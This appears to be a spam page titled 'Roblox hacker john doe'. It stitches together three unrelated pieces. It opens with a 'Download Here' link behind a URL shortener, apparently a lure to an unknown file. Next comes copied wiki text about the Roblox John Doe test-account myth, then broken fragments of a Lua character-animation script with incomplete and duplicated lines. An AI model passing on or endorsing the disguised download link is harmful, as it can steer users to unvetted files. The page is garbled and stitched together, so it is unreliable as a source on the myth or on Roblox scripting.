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Roblox hacker john doe

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  1. -
  2. Download Here --> https://tinyurl.com/5eabk3ee (Copy and Paste Link)
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  9. Roblox's Myths Wiki
  10. As of 06/18/2022 this site is no longer being maintained or actively moderated. We appreciate the time spent creating and managing this site, however it has been decided that we will no longer continue this wiki. All operations and information will be moved to the Myth Community Wiki. We warn you to remain cautious clicking links that are not approved.
  11. John Doe & Jane Doe
  12. John Doe & Jane Doe
  13. Name
  14. Alias
  15. Status
  16. Information
  17. Discovered
  18. Concluded
  19. Visits
  20. Class
  21. Rank
  22. Affiliations
  23. Groups
  24. Friends
  25. Enemies
  26. "[Content Deleted]" - John Doe
  27. John Doe and Jane Doe is a myth connected with 2 accounts, 1 named John Doe and 1 named Jane Doe, that went offline at the exact same time. For some time it was believed they would come back to hack the site. It was also believed that if somebody researched their disappearance, they would recieve a message reading "Stop". If they persisted their account would be erased.
  28. Contents
  29. Description
  30. John Doe is a male humanoid, with a default face, no shirts or pants, light yellow arms and head, dark yellow torso and light blue legs. Jane Doe is a female humanoid, with the same appearance as John Doe, despite being a different gender.
  31. Background
  32. On 3/6/2006 the accounts John Doe and Jane Doe went mysteriously offline at the exact same date and time. They went offline for roughly 11 years. This started a lot of rumurs and speculation, but the most popular one was that they would come back on March 18th to hack the entire site. This caused a lot of paranoia and on 3/18/2017, the entire site was experiencing problems, as many predicted. However it was not John Doe and Jane Doe who caused the problems, but the Roblox moderation team. It was an early april fools joke. On 3/21/2017 the Roblox mods came forth and admitted that John Doe and Jane Doe were created as test accounts, which ended the myth of John Doe and Jane Doe. They were thought to be the oldest known myth on Roblox.
  33. Interactions
  34. Interrogations
  35. Containment Procedures
  36. Will be added in the future.
  37. ROBLOX John Doe Script WIP
  38. [ 'John Slam' ] = { move = 'John Slam' , key = [ [ Space , Space , Q ] ] , desc = [ [ An aerial attack that slams the character against the ground to create a shockwave that knocks down and deals low damage to enemies . ] ] } ,
  39. [ 'Doe Sword' ] = { move = 'Doe Sword' , key = [ [ Space , Space , Hold R ] ] , desc = [ [ An aerial attack with huge power ; creates a sphere of dark energy that flings spectral swords which explode and deal damage . ] ] } ,
  40. [ 'Hack Curse' ] = { move = 'Hack Curse' , desc = [ [ An attack that inflicts the Cursed debuff ( 5 % maxhealth damage every second ) and lifesteals half of damage dealt . ] ] } ,
  41. [ 'Jane Slash' ] = { move = 'Jane Slash' , desc = [ [ Summons a spectral sword that slashes to deal huge critical damage . Very high crit chance . ] ] } ,
  42. [ 'John Storm' ] = { move = 'John Storm' , desc = [ [ Charge up dark energy to release a flurry of diamonds that explode to deal damage with high crit chance . Heals twice damage dealt . High mana cost . ] ] } ,
  43. repeat wait ( 0.1 ) thing . Text = v . move .. ' ' .. tostring ( v . timeleft ) until v . timeleft
  44. Weld = function ( p0 , p1 , x , y , z , rx , ry , rz , par ) --recommend to use this with my weld. use this function only with arm lockers.
  45. table.insert ( tweenTable , { th = 0 , Weld = Weld , Step = Step , Start = Start , X1 = X1 , Y1 = Y1 , Z1 = Z1 , Stop = Stop , X2 = X2 , Y2 = Y2 , Z2 = Z2 } )
  46. table.insert ( altTweenTable , { th = 0 , Weld = Weld , Step = Step , Start = Start , X1 = X1 , Y1 = Y1 , Z1 = Z1 , Stop = Stop , X2 = X2 , Y2 = Y2 , Z2 = Z2 } )
  47. rabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) rabr . Transparency = 1 rabr . Name = 'Locker'
  48. labr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) labr . Transparency = 1 labr . Name = 'Locker'
  49. rlabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) rlabr . Transparency = 1 rlabr . Name = 'Locker'
  50. llabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) llabr . Transparency = 1 llabr . Name = 'Locker'
  51. nk = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) nk . Transparency = 1 nk . Name = 'Locker'
  52. Tween ( rw , cfn ( 0 , 0.03 * math.sin ( tick ( ) * 1.5 ) , 0 ) * ang ( 0 , 0 , mr ( - 15 ) + mr ( - 5 * math.sin ( tick ( ) * 1.5 ) ) ) )
  53. Tween ( lw , cfn ( 0 , 0.03 * math.sin ( tick ( ) * 1.5 ) , 0 ) * ang ( 0 , 0 , mr ( 15 ) + mr ( 5 * math.sin ( tick ( ) * 1.5 ) ) ) )
  54. Tween ( llw , cfn ( 0 ,- 0.08 * math.sin ( tick ( ) * 1.5 * mult ) , 0 ) * ang ( 0 , 0 , mr ( 5 ) ) )
  55. Tween ( rlw , cfn ( 0 ,- 0.08 * math.sin ( tick ( ) * 1.5 * mult ) , 0 ) * ang ( 0 , 0 , mr ( - 5 ) ) )
  56. Tween ( rw , cfn ( 0 , 0.03 * math.sin ( tick ( ) * 1.5 * mult ) , 0 ) * ang ( 0 , 0 , mr ( - 15 ) + mr ( - 5 * math.sin ( tick ( ) * 1.5 ) ) ) )
  57. Tween ( lw , cfn ( 0 , 0.03 * math.sin ( tick ( ) * 1.5 * mult ) , 0 ) * ang ( 0 , 0 , mr ( 15 ) + mr ( 5 * math.sin ( tick ( ) * 1.5 ) ) ) )
  58. Tween ( llw , cfn ( 0 , 0 ,- 0.2 * math.sin ( tick ( ) * 8 ) ) * ang ( mr ( 10 ) + mr ( 40 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  59. Tween ( rlw , cfn ( 0 , 0 , 0.2 * math.sin ( tick ( ) * 8 ) ) * ang ( mr ( 10 ) + mr ( - 40 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  60. Tween ( llw , cfn ( 0 , 0 ,- 0.2 * math.sin ( tick ( ) * 8 ) * mult ) * ang ( mr ( 10 ) + mr ( 40 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  61. Tween ( rlw , cfn ( 0 , 0 , 0.2 * math.sin ( tick ( ) * 8 ) * mult ) * ang ( mr ( 10 ) + mr ( - 40 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  62. Tween ( llw , cfn ( 0 , 0 ,- 0.2 * math.sin ( tick ( ) * 11 ) ) * ang ( mr ( 20 ) + mr ( 60 * math.sin ( tick ( ) * 11 ) ) , 0 , 0 ) , 0.25 )
  63. Tween ( rlw , cfn ( 0 , 0 , 0.2 * math.sin ( tick ( ) * 11 ) ) * ang ( mr ( 20 ) + mr ( - 60 * math.sin ( tick ( ) * 11 ) ) , 0 , 0 ) , 0.25 )
  64. Tween ( rw , cfn ( ) * ang ( mr ( - 20 ) + mr ( 60 * math.sin ( tick ( ) * 11 ) ) , 0 , mr ( - 10 ) ) , 0.25 )
  65. Tween ( lw , cfn ( ) * ang ( mr ( - 20 ) + mr ( - 60 * math.sin ( tick ( ) * 11 ) ) , 0 , mr ( 10 ) ) , 0.25 )
  66. altTween ( llw , cfn ( 0 , 0 ,- 0.2 * math.sin ( tick ( ) * 8 ) ) * ang ( mr ( 20 ) + mr ( 50 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  67. altTween ( rlw , cfn ( 0 , 0 , 0.2 * math.sin ( tick ( ) * 8 ) ) * ang ( mr ( 20 ) + mr ( - 50 * math.sin ( tick ( ) * 8 ) ) , 0 , 0 ) , 0.6 )
  68. bbg . StudsOffset = bbg . StudsOffset + Vector3 . new ( math.random ( - math.random ( 50 ) / 10 , math.random ( 50 ) / 10 ) , 0 , math.random ( - math.random ( 50 ) / 10 , math.random ( 50 ) / 10 ) )
  69. bbg . StudsOffset = bbg . StudsOffset + Vector3 . new ( math.random ( - math.random ( 50 ) / 10 , math.random ( 50 ) / 10 ) , 0 , math.random ( - math.random ( 50 ) / 10 , math.random ( 50 ) / 10 ) )
  70. line . CFrame = CFrame . new ( point_a , point_b ) * CFrame . new ( 0 , 0 ,- rad ) * ang ( mr ( 90 ) , 0 , 0 ) --*angle;
  71. tor . CFrame = CFrame . new ( tor . Position , Vector3 . new ( mouse . Hit . p . X , tor . Position . Y , mouse . Hit . p . Z ) )
  72. addFx ( block , 0.05 , nil , function ( ) bm . Scale = bm . Scale + Vector3 . new ( 0.05 , 0.05 , 0 ) end )
  73. addFx ( block , 0.05 , "destroy" , function ( ) block . Transparency = block . Transparency + 0.05 block . bmsh . Scale = block . bmsh . Scale + Vector3 . new ( 0.07 , 0.07 , 0 ) end )
  74. fx . CFrame = righthandle . CFrame * ang ( mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) )
  75. addFx ( fx , 0.07 , 'destroy' , function ( ) bl . Scale = bl . Scale + Vector3 . new ( .1 , .1 , .1 ) fx . Transparency = fx . Transparency + 0.07 end )
  76. addFx ( crn , 0.07 , 'destroy' , function ( ) crn . Transparency = crn . Transparency + 0.07 ms . Scale = ms . Scale + Vector3 . new ( 0.3 , 0 , 0.3 ) end )
  77. sw . CFrame = CFrame . new ( righthandle . CFrame . p , Vector3 . new ( m . Hit . p . X , m . Hit . p . Y , m . Hit . p . Z ) ) * ang ( mr ( math.random ( - math.random ( 5 ) , math.random ( 5 ) ) ) , mr ( math.random ( - math.random ( 5 ) , math.random ( 5 ) ) ) , mr ( math.random ( - math.random ( 5 ) , math.random ( 5 ) ) ) ) --*ang(mr(90),0,0)
  78. if part . Parent and part . Parent : findFirstChild ( 'Humanoid' ) and not part : IsDescendantOf ( ch ) and not dmgdealt then
  79. addFx ( sw , 0.07 , 'destroy' , function ( ) dmm . Scale = dmm . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) dia . Transparency = dia . Transparency + 0.07 end )
  80. tor . CFrame = CFrame . new ( tor . Position , Vector3 . new ( mouse . Hit . p . X , tor . Position . Y , mouse . Hit . p . Z ) )
  81. bullet . CFrame = CFrame . new ( righthandle . CFrame . p , Vector3 . new ( m . Hit . p . X , m . Hit . p . Y , m . Hit . p . Z ) )
  82. local angls = ang ( mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) )
  83. addFx ( cfx , 0.02 , 'destroy' , function ( ) rfx . Transparency = rfx . Transparency + 0.02 rfx . CFrame = cfx . CFrame * angls cfx . CFrame = cfx . CFrame * CFrame . new ( 0 , 0 , 0 ) --[[bm.Scale=bm.Scale+Vector3.new(0.02,0.02,0.02)]] end )
  84. cfx . CFrame = bullet . CFrame * CFrame . new ( math.random ( - math.random ( 25 / 10 ) , math.random ( 25 ) / 10 ) , 0 , math.random ( - math.random ( 25 ) / 10 , math.random ( 25 ) / 10 ) )
  85. addFx ( fxp , 0.07 , 'destroy' , function ( ) bulletfx . CFrame = bullet . CFrame bmesh . Scale = bmesh . Scale - Vector3 . new ( 0.1 , 0.1 , 0 ) fxp . Transparency = fxp . Transparency + 0.07 end )
  86. blast . CFrame = CFrame . new ( position . X , position . Y , position . Z ) * ang ( mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) )
  87. blast . CFrame = p . Parent . Torso . CFrame * ang ( mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) )
  88. fx . CFrame = blast . CFrame * ang ( mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) , mr ( math.random ( 90 ) ) )
  89. addFx ( fx , 0.07 , 'destroy' , function ( ) if fx and fx : findFirstChild 'sphere' then fx . sphere . Scale = fx . sphere . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) fx . Transparency = fx . Transparency + 0.07 end end )
  90. repeat wait ( ) if spm . Scale . X
  91. local ray = Ray . new ( charge . CFrame . p , ( mouse . Hit . p - charge . CFrame . p ) . unit * 300 )
  92. beam . CFrame = CFrame . new ( charge . CFrame . p , position ) * CFrame . new ( 0 , 0 , - distance / 2 )
  93. local blast = cp ( tube , "Really black" , Vector3 . new ( 2.6 * multiplier , 2.6 * multiplier , 2.6 * multiplier ) , true , false )
  94. addFx ( blast2 , 0.008 , 'destroy' , function ( ) spml . Scale = spml . Scale + Vector3 . new ( 0.05 , 0.05 , 0.05 ) blast2 . Transparency = blast2 . Transparency + 0.008 end )
  95. cfx . CFrame = tor . CFrame * CFrame . Angles ( math.rad ( math.random ( 90 ) ) , math.rad ( math.random ( 90 ) ) , 0 )
  96. addFx ( sphr , 0.07 , nil , function ( ) spho . Scale = spho . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) sphr . Transparency = sphr . Transparency - 0.07 end )
  97. addFx ( fx , 0.07 , 'destroy' , function ( ) fx . spho . Scale = fx . spho . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) fx . Transparency = fx . Transparency + 0.07 end )
  98. sw . CFrame = CFrame . new ( righthandle . CFrame . p , Vector3 . new ( m . Hit . p . X , m . Hit . p . Y , m . Hit . p . Z ) ) --*ang(mr(90),0,0)
  99. addFx ( sw , 0.05 , 'destroy' , function ( ) sw . Transparency = sw . Transparency + 0.05 spm . Scale = spm . Scale + Vector3 . new ( 0.01 , 0.01 , 0.01 ) end )
  100. addFx ( blast , 0.07 , 'destroy' , function ( ) blast . Transparency = blast . Transparency + 0.07 sp . Scale = sp . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) end )
  101. addFx ( sphr , 0.07 , 'destroy' , function ( ) sphr . Transparency = sphr . Transparency + 0.07 spho . Scale = spho . Scale + Vector3 . new ( 0.1 , 0.1 , 0.1 ) end )
  102. tor . CFrame = CFrame . new ( tor . Position , Vector3 . new ( mouse . Hit . p . X , tor . Position . Y , mouse . Hit . p . Z ) )
  103. bullet . CFrame = CFrame . new ( righthandle . CFrame . p , Vector3 . new ( m . Hit . p . X , m . Hit . p . Y , m . Hit . p . Z ) )
  104. bullet . CFrame = CFrame . new ( lefthandle . CFrame . p , Vector3 . new ( m . Hit . p . X , m . Hit . p . Y , m . Hit . p . Z ) )
  105. rabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) rabr . Transparency = 1 rabr . Name = 'Locker'
  106. rw = Weld ( rabr , torso , 1.5 * mult , .5 * mult , 0 , 0 , 0 , 0 ) rw . Parent = tube rw . Name = 'rw'
  107. labr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) labr . Transparency = 1 labr . Name = 'Locker'
  108. lw = Weld ( labr , torso ,- 1.5 * mult , .5 * mult , 0 , 0 , 0 , 0 ) lw . Parent = tube lw . Name = 'lw'
  109. rlabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) rlabr . Transparency = 1 rlabr . Name = 'Locker'
  110. rlw = Weld ( rlabr , torso , 0.5 * mult ,- 1.7 * mult , 0 , 0 , 0 , 0 ) rlw . Parent = tube rlw . Name = 'rlw'
  111. llabr = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) llabr . Transparency = 1 llabr . Name = 'Locker'
  112. llw = Weld ( llabr , torso ,- 0.5 * mult ,- 1.7 * mult , 0 , 0 , 0 , 0 ) llw . Parent = tube llw . Name = 'llw'
  113. nk = cp ( tube , 'White' , Vector3 . new ( 1 , 1 , 1 ) , false , false ) nk . Transparency = 1 nk . Name = 'Locker'
  114. redwedgehalf = New ( "WedgePart" , chest , "redwedgehalf" , { BrickColor = BrickColor . new ( "Bright red" ) , Material = Enum . Material . SmoothPlastic , Size = Vector3 . new ( 2.09999919 , 4.00000048 , 4.05000019 ) , CFrame = CFrame . new ( 14.0277252 , 5.99809361 , 24.9995251 , - 2.61053401e-011 , - 1.77635684e-015 , - 0.999506414 , 2.22681209e-019 , 0.999753237 , - 3.55271368e-015 , 0.999753237 , - 2.00206143e-020 , - 1.76481052e-011 ) , Color = Color3 . new ( 0.768628 , 0.156863 , 0.109804 ) , } )
  115. chestdiamond = New ( "Part" , chest , "chestdiamond" , { BrickColor = BrickColor . new ( "Bright red" ) , Material = Enum . Material . Slate , FormFactor = Enum . FormFactor . Symmetric , Size = Vector3 . new ( 2 , 1.64999986 , 0.200000003 ) , CFrame = CFrame . new ( 15.0479803 , 7.07389736 , 26.0992107 , 0.999506414 , - 2.97996383e-008 , - 2.97928651e-008 , 2.98069978e-008 , 0.999753237 , - 1.60258799e-019 , 2.97917584e-008 , - 8.87859141e-016 , 0.999753237 ) , BottomSurface = Enum . SurfaceType . Smooth , Color = Color3 . new ( 0.768628 , 0.156863 , 0.109804 ) , } )
  116. Mesh = New ( "SpecialMesh" , chestdiamond , "Mesh" , { Scale = Vector3 . new ( 1 , 1 , 0.300000012 ) , MeshId = "http://www.roblox.com/Asset/?id=9756362" , MeshType = Enum . MeshType . FileMesh , } )
  117. mot = New ( "Motor" , chestdiamond , "mot" , { Part0 = chestdiamond , Part1 = redwedgehalf , C0 = CFrame . new ( 0 , 0 , 0 , 1 , 2.98143554e-008 , 2.98075769e-008 , - 2.98143554e-008 , 1 , - 8.88533432e-016 , - 2.98075769e-008 , - 1.60245396e-019 , 1 ) , C1 = CFrame . new ( 1.09995651 , 1.07606936 , - 1.02075863 , - 2.61182326e-011 , 2.22736242e-019 , 1 , - 1.77723415e-015 , 1 , - 2.22736294e-019 , - 1 , - 1.77723437e-015 , - 2.61182343e-011 ) , } )
  118. blackwedgehalf = New ( "WedgePart" , chest , "blackwedgehalf" , { BrickColor = BrickColor . new ( "Really black" ) , Material = Enum . Material . SmoothPlastic , Size = Vector3 . new ( 2.24999905 , 1.00000048 , 4.05000019 ) , CFrame = CFrame . new ( 14.0216274 , 4.49221802 , 24.9745178 , - 8.40483239e-011 , 1.0658141e-014 , - 0.999506414 , 1.6280148e-018 , 0.999753177 , 7.10542736e-015 , 0.999753177 , - 1.42536268e-018 , - 7.56052998e-011 ) , Color = Color3 . new ( 0.0666667 , 0.0666667 , 0.0666667 ) , } )
  119. mot = New ( "Motor" , blackwedgehalf , "mot" , { Part0 = blackwedgehalf , Part1 = redwedgehalf , C0 = CFrame . new ( 0 , 0 , 0 , - 8.40898323e-011 , 1.62841702e-018 , 1 , 1.06634045e-014 , 1 , - 1.62841608e-018 , - 1 , 1.06634045e-014 , - 8.40898323e-011 ) , C1 = CFrame . new ( - 0.0250015259 , - 1.50550413 , 0.00609493256 , - 2.61182326e-011 , 2.22736242e-019 , 1 , - 1.77723415e-015 , 1 , - 2.22736294e-019 , - 1 , - 1.77723437e-015 , - 2.61182343e-011 ) , } )
  120. pantl = New ( "Part" , tube , "pantl" , { BrickColor = BrickColor . new ( "Really black" ) , Material = Enum . Material . SmoothPlastic , FormFactor = Enum . FormFactor . Symmetric , Size = Vector3 . new ( 2.04999995 , 3.25 , 2.0999999 ) , CFrame = CFrame . new ( 12.9745045 , 2.42501593 , 25.0000038 , 1 , - 2.98099572e-008 , - 2.98055873e-008 , 2.98099572e-008 , 1 , - 1.05248658e-019 , 2.98055838e-008 , - 8.88397907e-016 , 1 ) , CanCollide = false , BackSurface = Enum . SurfaceType . SmoothNoOutlines , BottomSurface = Enum . SurfaceType . SmoothNoOutlines , FrontSurface = Enum . SurfaceType . SmoothNoOutlines , LeftSurface = Enum . SurfaceType . SmoothNoOutlines , RightSurface = Enum . SurfaceType . SmoothNoOutlines , TopSurface = Enum . SurfaceType . SmoothNoOutlines , Color = Color3 . new ( 0.0666667 , 0.0666667 , 0.0666667 ) , } )
  121. pantl = New ( "Part" , tube , "pantl" , { BrickColor = BrickColor . new ( "Really black" ) , Material = Enum . Material . SmoothPlastic , FormFactor = Enum . FormFactor . Symmetric , Size = Vector3 . new ( 2.04999995 , 3.25 , 2.0999999 ) , CFrame = CFrame . new ( 12.9745045 , 2.42501593 , 25.0000038 , 1 , - 2.98099572e-008 , - 2.98055873e-008 , 2.98099572e-008 , 1 , - 1.05248658e-019 , 2.98055838e-008 , - 8.88397907e-016 , 1 ) , CanCollide = false , BackSurface = Enum . SurfaceType . SmoothNoOutlines , BottomSurface = Enum . SurfaceType . SmoothNoOutlines , FrontSurface = Enum . SurfaceType . SmoothNoOutlines , LeftSurface = Enum . SurfaceType . SmoothNoOutlines , RightSurface = Enum . SurfaceType . SmoothNoOutlines , TopSurface = Enum . SurfaceType . SmoothNoOutlines , Color = Color3 . new ( 0.0666667 , 0.0666667 , 0.0666667 ) , } )
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